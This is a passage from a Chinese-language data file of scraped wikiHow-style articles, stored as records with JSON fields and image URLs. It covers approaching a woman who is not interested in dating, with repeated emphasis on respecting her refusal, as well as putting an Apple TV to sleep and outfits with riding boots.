告诉她你的感受，让她知道你对她很感兴趣，但如果她不愿意发展更认真的恋情，你们应该保持朋友关系。\\n小提示\\n最重要的是真诚地尊重她。尊重她的想法、感受和兴趣。了解她的喜恶，就能展现出自己不仅仅是“另一个普通的男人”。\\n对任何类型的恋爱关系都毫无兴趣的人可能是因为受过伤。 不要强迫他们，不要使用“恋爱”或“进一步发展”的字眼。 在受伤的人敞开心扉之前，你得闲和她建立稳固的友情。\\n提升自我。你的才华、兴趣和善良的天性会让你更具吸引力。 将重点重新放回到提升自己的魅力上，而不要强迫某个人喜欢你。你最后会得到一个更好的人！\\n尊重她的决定，她有拒绝的权利。强扭的瓜不甜。\\n坦诚说出自己的感受。约过几次会后，如果你仍然不知道她对你的感觉如何，那就由自己来掌控这件事吧。隐晦地表达你的感受。夸张或浪漫的言语行为可能会太过激进。\\n有些女孩在生活中还有其它优先注重的事情，比如他们将自己的学业、工作、家庭义务、宗教信仰或者运动排在恋爱关系之前。\\n当你尝图与一个“不准备恋爱的女孩”建立关系时，不要把整个生活都搁置一旁。 毕竟你也不想因为等待一个人而错过了另一个好女孩。\\n有些女孩不想与你建立专属关系或浪漫关系。 做一个亲密的朋友对她来说已经足够了。如果你们一直保持密切关系，之后或许会有更多的可能性。现在，不要强求任何事，尊重她的决定。\\n如果她决定不与你交往，不要太在意。把这当作学习经验，然后往前看。[47]\\nX\\n研究来源\\n警告\\n如果她直接告诉你“我现在对恋爱不感兴趣”，或者“我已经有一个男朋友”，这暗示着她对和你交往没有兴趣。[48]\\nX\\n研究来源\\n\\n\\n\\n[49]\\nX\\n研究来源\\n别让自己被对付操纵、羞辱或者被利用。 恋爱应该是互惠互利的 。如果她认为你对她好是理所当然的，或者过于依赖你，可能意味着她不是真的喜欢你。[50]\\nX\\n研究来源\\n不当的评论、对方不想要的挑逗或触摸，或者猥亵的做法都是不对的，可能构成性骚扰。[51]\\nX\\n研究来源\\n\\n\\n\\n[52]\\nX\\n研究来源\\n不要强迫女孩在约会时做任何有关性的事情，或者趁她醉酒占她的便宜。强奸和约会强暴是严重的刑事犯罪。[53]\\nX\\n研究来源\\n\\n\\n\\n[54]\\nX\\n研究来源\\n\\n\\n\\n[55]\\nX\\n可靠来源\\nUS Office on Women's Health\\n前往来源\\n女孩有权给你们的关系划定界限。尊重她的权利。如果她决定与其他人约会，也请尊重她。[56]\\nX\\n研究来源\\n\", \"简要回答\": \"让一个似乎对谈恋爱没兴趣的女人喜欢上你很难，但并非不可能。如果你听到一个女孩说她“还没有准备好恋爱”，那么她的意思可能是最近刚刚分手，或者是有一个她不感兴趣的家伙在对她献殷勤。 如果你喜欢上一个对谈恋爱没兴趣的女孩，可以上前搭话，或者邀请她和一群朋友一起出去玩。让女孩喜欢你的最好方法是尊重她，成为她的好朋友，并耐心地等待。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"接近你喜欢的女孩\", \"步骤\": [{\"编号\": 1, \"标题\": \"思考为什么你希望这个女孩喜欢你。\", \"描述\": \"问问你自己为什么被这个女孩所吸引。例如，她可能会觉得你只是喜欢她的身体或者你对她的喜欢很肤浅，因而避开你。 如果这是她从男人那里得到的唯一关注，她可能会感到厌倦或不满。在接近她之前，先退后一步，确定你想从这段关系中得到什么。接下来，根据以下这些品质判断她是否是合适的恋爱对象：\\n诚信：她是否诚以待己、诚以待人、值得信赖和可靠？你们是否能坦率说出彼此的的想法和担忧？\\n情感成熟和自尊心：每个人都不完美，但愿意反思，向过去学习，并展示所学到的东西，都意味着一个人在情感上很成熟。 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\"标题\": \"不要前后矛盾。\", \"描述\": \"这里指的是自我评价与他人评价之间存在差距。 她对与你建立恋爱关系不感兴趣的原因之一可能是你总是前后矛盾。例如，你不断吹嘘自己的恋爱经历或表现出对其他女人的兴趣，或者你经常放朋友鸽子。\\n自我称赞，但不要吹牛。提及你所引以为傲的成就，或者你树立过的目标以及你如何实现它们。例如：“英语作业或数学测试很难，但是我努力学习还是得到了回报”，或者“我半个月的训练在这次的半程马拉松中得到了回报，也许我明年将会参加全程马拉松”。\\n更加真诚坦率地表达你的感受。也不要表现得冷漠或悲观。规定自己每天对别人说一件积极的事情。\"}, {\"编号\": 5, \"标题\": \"做对方的好朋友。\", \"描述\": \"如果她真的对恋爱不感兴趣，或者她的生活中发生了一些事情，家庭、学校、工作、健康问题等等，导致她不想开始一段感情，你能做的就是当她的好朋友和知己。你想要帮助她，但不要表现得很傲慢。 如果她面临某些个人问题，如亲人的死亡或疾病，这一点尤其重要。\\n给她空间，并尊重她的隐私。不要试图解决她的问题，或不断提供建议。只要让她知道你一直在身边，并愿意聆听就够了。\\n做个好听众。不要提意见，并压抑住自己想帮她解决所有问题的冲动。让对方将事情说出来，让她与自我达成和解。\\n安排一群人的活动，并叫上她。主动提出去接她或给她买单。简单的善举只要没有附加条件，都会有很大的帮助。\"}]}, {\"编号\": 2, \"标题\": \"邀约\", \"步骤\": [{\"编号\": 1, \"标题\": \"在非正式的场合中了解她。\", \"描述\": \"如果你们已经是朋友，想进一步发展，那就忽略这一步。但是，如果你们刚刚认识或只是泛泛之交，不妨和她在一个小群体中一起度过一些时间，或间接约会。 你得有一个好的开端或开场白。每当看到她时，都要目光接触，微笑，并打招呼。接下来，开展寻常的对话。赞美她的成就，或者询问她的兴趣（音乐、电影、书籍、爱好等）。 以寻常的对话作为出发点，建立志同道合的亲密关系。\\n耐心一点。有些女孩天生比较喜欢展现自己，而且很健谈，而另一些女孩起初可能比较害羞或犹豫不决。\\n千万不要使用俗气的搭讪词。这不仅会给人留下不好的印象，也会令人反感。\"}, {\"编号\": 2, \"标题\": \"邀请女孩出去。\", \"描述\": \"你可以直接问她，或者用更间接的方法，比如问她这个周末准备做什么，她是否有什么计划。 选择哪种方法取决于具体情况与对方的性格。其他间接邀约的例子包括询问她是否去过某家餐馆，是否想和你一起去看看；或者把它说成是一个机会，例如“我们这个周末都有空，天气也很好，为什么不一起做点什么呢？”记住，在这个阶段，你只是邀请她出去约会，看电影、听音乐会或吃晚餐等，而不是问她是否愿意做你的女朋友。\\n清楚地表明你只是想和她出去约会。不要谈及交往的问题，或问她是否愿意做你的女朋友。\\n邀请她出去约会时，不要堵住她或让她有被压迫感。她可能会因为感到不舒服和恐惧而拒绝你。\\n如果她看起来不愿意和你约会，邀请她和一群朋友一起做点什么。 与几个朋友组织野餐，或者去吃晚饭和看电影。\"}, {\"编号\": 3, \"标题\": \"在第一次约会时，给对方留下好印象。\", \"描述\": \"在你们第一次约会或者第一次出去玩时，你的目标应该是确保她玩得开心，清晰而不夸张地表达你的感受，不要尝试太奢侈、昂贵或浪漫的东西。和一群人出去或两个人在一起在公共场所做点什么，而不是邀请她独自陪伴你。 主动决定你们要做什么，以及那天要去哪里。 提前做好功课，询问她是否有食物偏好，必要时进行预约，避免去高档昂贵的地方。\\n在你的外表上下功夫。洗头和梳发，刷牙，不要喷太多古龙水，穿干净、不皱的衣服。\\n不要过度沉迷于酒精，要体贴周到，举止有礼貌，包括不过分主导对话，关闭手机，给予她充分的关注，并友好对待他人。\\n避免讨论有争议的话题，比如政治、过去的恋情，对工作的抱怨或者性。 相反，要把重点集中在诸如新闻和时事、家庭、旅行（无论是你曾经去过的地方，还是将来想要去的地方），或者你们对爱情的想法，以及探讨构成了良好恋爱关系的要素等话题上。\"}]}, {\"编号\": 3, \"标题\": \"让她喜欢上你\", \"步骤\": [{\"编号\": 1, \"标题\": \"加深你与对方和她朋友的友谊。\", \"描述\": \"友谊是良好恋情的基础。成为好朋友的第一步就是关注她和她朋友们所说的话。避免只谈论你自己和你的兴趣。不要看起来无聊或分心，给她你全部的注意力。当她说话的时候，收起你的手机，并且保持眼神交流。 虽然做一个好朋友可能会适得其反，使你被她归类到“朋友区”，但更多的时候，这是表达你善良、有同情心和坚定的一种方式。\"}, {\"编号\": 2, \"标题\": \"揶揄戏弄对方。\", \"描述\": \"建立亲密关系后，轻微的戏弄能表明你对她的喜爱。 比如，编造一个去他国旅行遇到的趣事或假装你家闹鬼。以一种轻松的方式嘲笑她的音乐品味，或她喜欢的奇特食品，但紧接着要加上你对她的赞美。\\n你还可以轻轻地挠她痒痒；把手放在对方眼睛上，然后说“猜猜我是谁”；或者在背部或手臂上轻轻地推一下。\\n用夸张的语气和音调、面部表情或微笑来表明你只是在开玩笑。\"}, {\"编号\": 3, \"标题\": \"试着和她调情。\", \"描述\": \"调情要从一些细微的事情开始，比如眼神交流，面带微笑，然后快速移开视线。 你也可以赞美她，或像旧时代的绅士一样为她开门、买咖啡或拿着书。 如果你们彼此了解，相处起来很自在，可以尝试帮她拨开脸上的一缕头发，给她一个拥抱，或者坐在她旁边。如果她对你感兴趣，她会开始回应你。\"}, {\"编号\": 4, \"标题\": \"使用“欲擒故纵”的技巧。\", \"描述\": \"表现得过分依赖对方，太粘人或太着急，都会使女孩不喜欢你。如果你们的关系停滞不前，考虑给她一些空间。 开始和其他女孩交流，并使用“欲擒故纵”的技巧。给对方一些挑战，让自己看起来更有魅力。\\n在恋爱关系刚开始的时候，保留一些你的感受。保持神秘感和不确定性，能让事情变得有趣，也许可以营造浪漫的感觉。 例如，不要告诉她你有多喜欢她，不要在第一次出去约会时一起谈论你们的“未来”。\\n给她一些空间。 虽然不要在和她已经约好了的情况下放她的鸽子，但也不要每天给她打电话或者发短信。你的缺席可能会让她意识到她有多在乎你。\"}, {\"编号\": 5, \"标题\": \"考虑保持非正经谈恋爱的关系。\", \"描述\": \"如果你们相互喜欢，但是担心或害怕承诺，随时都可以达成协议，保持一种随性的恋爱关系。这种恋爱关系不具排他性。 虽然你们会不定期见面，但是你仍旧可以与其他人调情或出去约会。特别是当你处于18至24岁间，开放、随意的恋爱关系可以帮助你在情感上快速成长，并且更能适应与异性的相处。 在非正经谈恋爱的关系中，一定要定下基本规则来降低双方受伤的风险：\\n是否可以在公共场合约会？\\n这段关系公开还是保密？\\n如果双方中的一方爱上了其他人，应该怎么做？你们是否需要告知对方这件事？\\n你们想平时多久见一次？什么时间发短信或打电话比较方便？\\n不要问那些盛气凌人或者指控性的问题，比如“你现在一共和多少人约会？ ”“你昨晚在哪？”“你为什么不回我的电话？”“我可以在Facebook上加你吗？”\\n如果你不同意这些条件，你可能不应该追求一段非正经的恋爱关系。 告诉她你的感受，让她知道你对她很感兴趣，但如果她不愿意发展更认真的恋情，你们应该保持朋友关系。\"}], \"小提示\": [\"最重要的是真诚地尊重她。尊重她的想法、感受和兴趣。了解她的喜恶，就能展现出自己不仅仅是“另一个普通的男人”。\\n\", \"对任何类型的恋爱关系都毫无兴趣的人可能是因为受过伤。 不要强迫他们，不要使用“恋爱”或“进一步发展”的字眼。 在受伤的人敞开心扉之前，你得闲和她建立稳固的友情。\\n\", \"提升自我。你的才华、兴趣和善良的天性会让你更具吸引力。 将重点重新放回到提升自己的魅力上，而不要强迫某个人喜欢你。你最后会得到一个更好的人！\\n\", \"尊重她的决定，她有拒绝的权利。强扭的瓜不甜。\\n\", \"坦诚说出自己的感受。约过几次会后，如果你仍然不知道她对你的感觉如何，那就由自己来掌控这件事吧。隐晦地表达你的感受。夸张或浪漫的言语行为可能会太过激进。\\n\", \"有些女孩在生活中还有其它优先注重的事情，比如他们将自己的学业、工作、家庭义务、宗教信仰或者运动排在恋爱关系之前。\\n\", \"当你尝图与一个“不准备恋爱的女孩”建立关系时，不要把整个生活都搁置一旁。 毕竟你也不想因为等待一个人而错过了另一个好女孩。\\n\", \"有些女孩不想与你建立专属关系或浪漫关系。 做一个亲密的朋友对她来说已经足够了。如果你们一直保持密切关系，之后或许会有更多的可能性。现在，不要强求任何事，尊重她的决定。\\n\", \"如果她决定不与你交往，不要太在意。把这当作学习经验，然后往前看。[47]\\nX\\n研究来源\\n\"], \"注意事项\": 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14,734 | 如何关闭Apple TV | 1. 步骤
1-1. 前往主菜单。
远程点击菜单按钮，菜单将会出现在电视上。
1-2. 找到设置按钮。
设置按钮是一个灰色齿轮状图标，点击设置按钮并打开设置菜单。
1-3. 设置Apple TV到休眠状态。
在设置菜单里，找到菜单最下方的"Sleep Now"选项。点击该选项，你的Apple TV设备将进入待机状态。此时设备前面的指示灯会处于不亮的状态，同时你的电视也应该处于没有信号的状态。至此，你可以确认该设备已关闭。
1-4. 设备重启！当你想要再次开启该设备，你只需远程点击任何一个按键来开启设备。
小提示
你可以设置你的Apple TV处于自动休眠的状态，如果经过一段时间它没有被使用，它将自动进入休眠状态。在设置菜单中点击第一个菜单选项"General"然后滑到菜单下方的"Sleep After"的选项，然后点击选择设定休眠时间。
如果你有事需要离开一会，又不想让Apple TV在待机模式下耗电，那么你只需要拔掉电源线就可以了。
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14,735 | 如何搭配马靴 | 1. 百搭牛仔裤
1-1. 选一条紧身牛仔裤。
这种牛仔裤能裹紧你的腿，从而能塞进马靴里不会隆起。因此紧身牛仔裤永远是你最好的选择！
如果你没有紧身牛仔裤，你也可以把别的裤子塞进马靴。选择你所拥有的最贴身的牛仔裤来做到这一点。
卷起裤腿露出脚踝。
把卷起的裤腿折叠好。
如果你喜欢的话，可以卷得更高一点，露出小腿的更多部分。
1-2. 考虑裤子的颜色和水洗状况。
传统的蓝色牛仔裤能搭配任何颜色、任何风格的马靴，但你也可以尝试其他颜色的紧身牛仔裤。
其他中性颜色，如黑色和灰色，可以搭出成熟的造型。
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白色紧身牛仔裤更干净、大胆。
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如今，牛仔裤有各种各样的明亮、柔和的色调。你可以把传统的蓝色牛仔裤换成紫红色或光橙色的牛仔裤，用色彩冲击原本平淡的衣着。
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1-3. 用合适的裤子搭出西部风格。
如果你有棕色的马靴，你可以使用它们来搭出西部风格。虽然马靴和牛仔靴非常不同，但棕色马靴也能令人想起牛仔靴。
穿款式简单的格子衬衫。你可以选择一件宽松或合身的衬衫，但无论哪种衬衫都相对比较宽松，平衡了你紧致、苗条下半身。
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穿中到深色的水洗蓝色紧身牛仔裤。
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根据需要增添配饰。你可以佩戴简单的珠宝或搭配一些乡村风格的配饰。但应当保持低调的风格，比如说你穿上了牛仔靴换下马靴来减弱西部风格，那么你的配饰也应当少一点西部风格。
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1-4. 马术风格。
马靴是骑马是穿的，因此在你的搭配中增添一点马术的风格来表示对这种潮流起源的敬意。
穿白色或奶油色紧身牛仔裤搭配黑色的马靴。
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选择一个清爽、合身、线条简单的衬衫。标准的白色的衬衫是很不错的选择，但只要裁剪简单，其他类型的衬衫也是可选的。
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在衬衫外穿一件外套。搭配合身的黑色或深蓝色的外套是更传统的造型，或尝试彩色的外套使这种风格更有趣味。
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1-5. 尝试休闲的造型。
最简单的方法是用标准衬衫和你的日常配饰搭配马靴。
选择任何颜色、风格的马靴和紧身牛仔裤。注意你要确保颜色和衬衫颜色搭配协调。
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很多上衣都可以搭配，但最好的选择是一件宽松飘逸、面料柔软的衬衫。你可以选择一个高腰上衣来突显你的腰，或者简单地用皮带系在宽松上衣在腰部。无论如何，一件宽松的衬衣能与你苗条的下身形成鲜明对比。
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2. 搭配喇叭牛仔裤和长裤
2-1. 穿靴裤。
这种牛仔裤被贴上“靴裤”的标签，因为它们的底部舒适松散，能搭配任何高度和风格的靴子，包括马靴。
这种风格最好搭配标准蓝色牛仔裤，但你可以选择任何一种水洗牛仔裤。
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如果你选择彩色牛仔裤，要选择中性的颜色，如黑色、灰色、白色和棕色。
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确保你的牛仔裤是足够长来掩盖靴子的大部分，但不能过长，要露出鞋头和鞋跟。
2-2. 你也可以选择灯芯绒裤子。
相对于靴裤，你可以穿灯芯绒裤子使靴子的鞋头露出来。
选择灯芯绒裤的颜色。你可以穿传统的颜色，如褐色、棕色、黑色或灰色，或者你可以选择不那么传统的颜色，如橄榄绿色或深蓝色。
2-3. 完成造型。
选择一条深色水洗牛仔裤或灯芯绒裤子搭配黑色的马靴，这个造型可以轻松变成一个商务休闲风格。
穿一件简单的衬衫或一件合身的纯色或简单图案的上衣搭配你的裤子。你可以添加一件外套使造型显得更专业或者你可以就这样显得更休闲。
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加点配饰，但尽量简单和优雅。纯金属珠宝优于精心制作的人造珠宝或颜色明亮的大宝石。
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2-4. 定下造型。
穿浅到中色的水洗牛仔裤和一个不太正式的上衣，简单地搭配黑色或棕色的马靴，一个别致的、随和的周末造型就完成了
你的上衣可以是宽松飘逸的，也可以是舒适合身的。如果你的牛仔裤是直筒的，腿部的线条就显得不如穿紧身牛仔裤那样紧致。因此，你可以穿宽松飘逸的衬衫来维持整体的平衡，也可以用穿舒适合身的上衣显得整体更平稳，从上到下呈现出流线型。
3. 穿半身裙或连衣裙
3-1. 搭配一条长裙。
选择一条宽松的长裙以免裙子和靴子互相摩擦。
也可以考虑尝试一边开口的长半身裙或连衣裙，使造型从过时的孕妇装变得大胆而轻浮。
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为了避免造型太方正或不成形，在上身穿一些特别的。选择领口大开或露背的上衣搭配半身裙。如果穿长裙，选择一件合身的开衫、外套或夹克使你的造型更多变。
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3-2. 穿短裙来展露你的双腿。
选择一条直板裙、A字裙或百褶裙来平衡你苗条的小腿。
如果马靴长度到膝盖或以上则穿迷你裙。这是为了在靴子和裙子之间能露出一部分的腿。
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如果你的马靴长度在膝盖以下，那么搭配齐膝的短裙效果会很好。此外，及膝的裙子能适合各种身体类型并可以展现出可爱性感的造型。
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如果穿短裙，那在上衣的选择上就有相当大的空间。合身的上衣可以平衡喇叭裙的飘逸，但衬衫的风格可以随意挑选。
3-3. 裸腿还是不裸。
如果穿着轻薄、飘逸的面料，最好裸露着腿。对于较厚的材料，穿上紧身裤和长筒袜可能更合适。
硬材料制成的及膝裙，像羊毛、粗花呢、灯芯绒或牛仔布通常是为凉爽的天气设计的，所以长筒袜往往也应该派上用场。
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由轻薄飘逸的亚麻及各种棉布等材料做成的长裙、短裙常常搭配裸腿，因为这种风格是为更暖的天气设计的。
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4. 长筒袜
4-1. 挑选合适的颜色和纹理。
穿上搭配马靴颜色的长筒袜可以塑造一个清爽、时尚的外观，但你可以尝试不同的颜色和纹理来转换你的风格。
麻花针织的长筒袜是温暖舒适的风格，而其他的条纹图案比如蕾丝，则是挑逗好玩的风格。
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你也可以穿同马靴形成鲜明对比的紧身裤以突出马靴。例如，白色紧身裤与黑色马靴对比鲜明能够突显你的马靴。
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4-2. 穿长筒袜搭配裙子和马靴。
最普遍的穿长筒袜的搭配是马靴和冬季的短裙或连衣裙。
考虑穿光滑、贴身的长筒袜搭配一件毛衣连衣裙来塑造秋天或冬天的造型。把麻花针织的长筒袜换成光滑贴身的长筒袜就能变成舒适的造型。
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如果选择半身裙来搭配马靴和长筒袜，可以选择一种较厚的布料如羊毛或灯芯绒，而不是像麻一样明亮清新的布料。
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4-3. 穿上一条时髦的短裤。
这种造型有点大胆，比其他许多搭配都更不常见；但这样的搭配却往往有比较好的戏剧性效果。
选择一条合身的、长度到大腿中间的短裤。超短裤是可以的，但是较长的短裤会使大腿看起来太短。
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可以穿标准的蓝色牛仔短裤，但你也可以尝试灰色牛仔裤、卡其色或有图案的短裤。
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这也是一个穿不同颜色和有图案的长筒袜的好机会。例如，你可以尝试金属色长筒袜使风格更加富有光泽。当穿着彩色或有图案的长筒袜时，你应该避免穿颜色明亮的短裤。你也应该穿颜色柔和的衬衫，避免颜色冲突。
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4-4. 尝试穿长版的束腰外衣。
宽松的、长度到大腿中间的外衣搭配马靴和简单的长筒袜可以打造时尚休闲的周末造型。
宽松飘逸的束腰外衣搭配贴身的长筒袜和马靴使造型得到平衡。
在这个造型中，穿颜色搭配靴子颜色的光滑长筒袜，比穿图案精致、颜色对比鲜明的长筒袜效果更好。
| {
"create_time": "20230517 11:02:19",
"回答明细": "{\"回答\": \"1. 百搭牛仔裤\\n1-1. 选一条紧身牛仔裤。\\n这种牛仔裤能裹紧你的腿，从而能塞进马靴里不会隆起。因此紧身牛仔裤永远是你最好的选择！\\n如果你没有紧身牛仔裤，你也可以把别的裤子塞进马靴。选择你所拥有的最贴身的牛仔裤来做到这一点。\\n卷起裤腿露出脚踝。\\n把卷起的裤腿折叠好。\\n如果你喜欢的话，可以卷得更高一点，露出小腿的更多部分。\\n1-2. 考虑裤子的颜色和水洗状况。\\n传统的蓝色牛仔裤能搭配任何颜色、任何风格的马靴，但你也可以尝试其他颜色的紧身牛仔裤。\\n其他中性颜色，如黑色和灰色，可以搭出成熟的造型。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/1\\\\/16\\\\/Wear-Riding-Boots-Step-2Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-2Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/1\\\\/16\\\\/Wear-Riding-Boots-Step-2Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-2Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n白色紧身牛仔裤更干净、大胆。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/3d\\\\/Wear-Riding-Boots-Step-2Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-2Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/3d\\\\/Wear-Riding-Boots-Step-2Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-2Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如今，牛仔裤有各种各样的明亮、柔和的色调。你可以把传统的蓝色牛仔裤换成紫红色或光橙色的牛仔裤，用色彩冲击原本平淡的衣着。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/3\\\\/3c\\\\/Wear-Riding-Boots-Step-2Bullet3.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-2Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/3\\\\/3c\\\\/Wear-Riding-Boots-Step-2Bullet3.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-2Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n1-3. 用合适的裤子搭出西部风格。\\n如果你有棕色的马靴，你可以使用它们来搭出西部风格。虽然马靴和牛仔靴非常不同，但棕色马靴也能令人想起牛仔靴。\\n穿款式简单的格子衬衫。你可以选择一件宽松或合身的衬衫，但无论哪种衬衫都相对比较宽松，平衡了你紧致、苗条下半身。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/2\\\\/25\\\\/Wear-Riding-Boots-Step-3Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-3Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/2\\\\/25\\\\/Wear-Riding-Boots-Step-3Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-3Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n穿中到深色的水洗蓝色紧身牛仔裤。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/a\\\\/a8\\\\/Wear-Riding-Boots-Step-3Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-3Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/a\\\\/a8\\\\/Wear-Riding-Boots-Step-3Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-3Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n根据需要增添配饰。你可以佩戴简单的珠宝或搭配一些乡村风格的配饰。但应当保持低调的风格，比如说你穿上了牛仔靴换下马靴来减弱西部风格，那么你的配饰也应当少一点西部风格。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/1\\\\/1f\\\\/Wear-Riding-Boots-Step-3Bullet3.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-3Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/1\\\\/1f\\\\/Wear-Riding-Boots-Step-3Bullet3.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-3Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n1-4. 马术风格。\\n马靴是骑马是穿的，因此在你的搭配中增添一点马术的风格来表示对这种潮流起源的敬意。\\n穿白色或奶油色紧身牛仔裤搭配黑色的马靴。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/8\\\\/86\\\\/Wear-Riding-Boots-Step-4Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-4Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/8\\\\/86\\\\/Wear-Riding-Boots-Step-4Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-4Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n选择一个清爽、合身、线条简单的衬衫。标准的白色的衬衫是很不错的选择，但只要裁剪简单，其他类型的衬衫也是可选的。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/0\\\\/0f\\\\/Wear-Riding-Boots-Step-4Bullet2.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-4Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/0\\\\/0f\\\\/Wear-Riding-Boots-Step-4Bullet2.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-4Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n在衬衫外穿一件外套。搭配合身的黑色或深蓝色的外套是更传统的造型，或尝试彩色的外套使这种风格更有趣味。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/b\\\\/b4\\\\/Wear-Riding-Boots-Step-4Bullet3.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-4Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/b\\\\/b4\\\\/Wear-Riding-Boots-Step-4Bullet3.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-4Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n1-5. 尝试休闲的造型。\\n最简单的方法是用标准衬衫和你的日常配饰搭配马靴。\\n选择任何颜色、风格的马靴和紧身牛仔裤。注意你要确保颜色和衬衫颜色搭配协调。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/c\\\\/c8\\\\/Wear-Riding-Boots-Step-5Bullet1.jpg\\\\/v4-460px-Wear-Riding-Boots-Step-5Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/c8\\\\/Wear-Riding-Boots-Step-5Bullet1.jpg\\\\/v4-728px-Wear-Riding-Boots-Step-5Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div 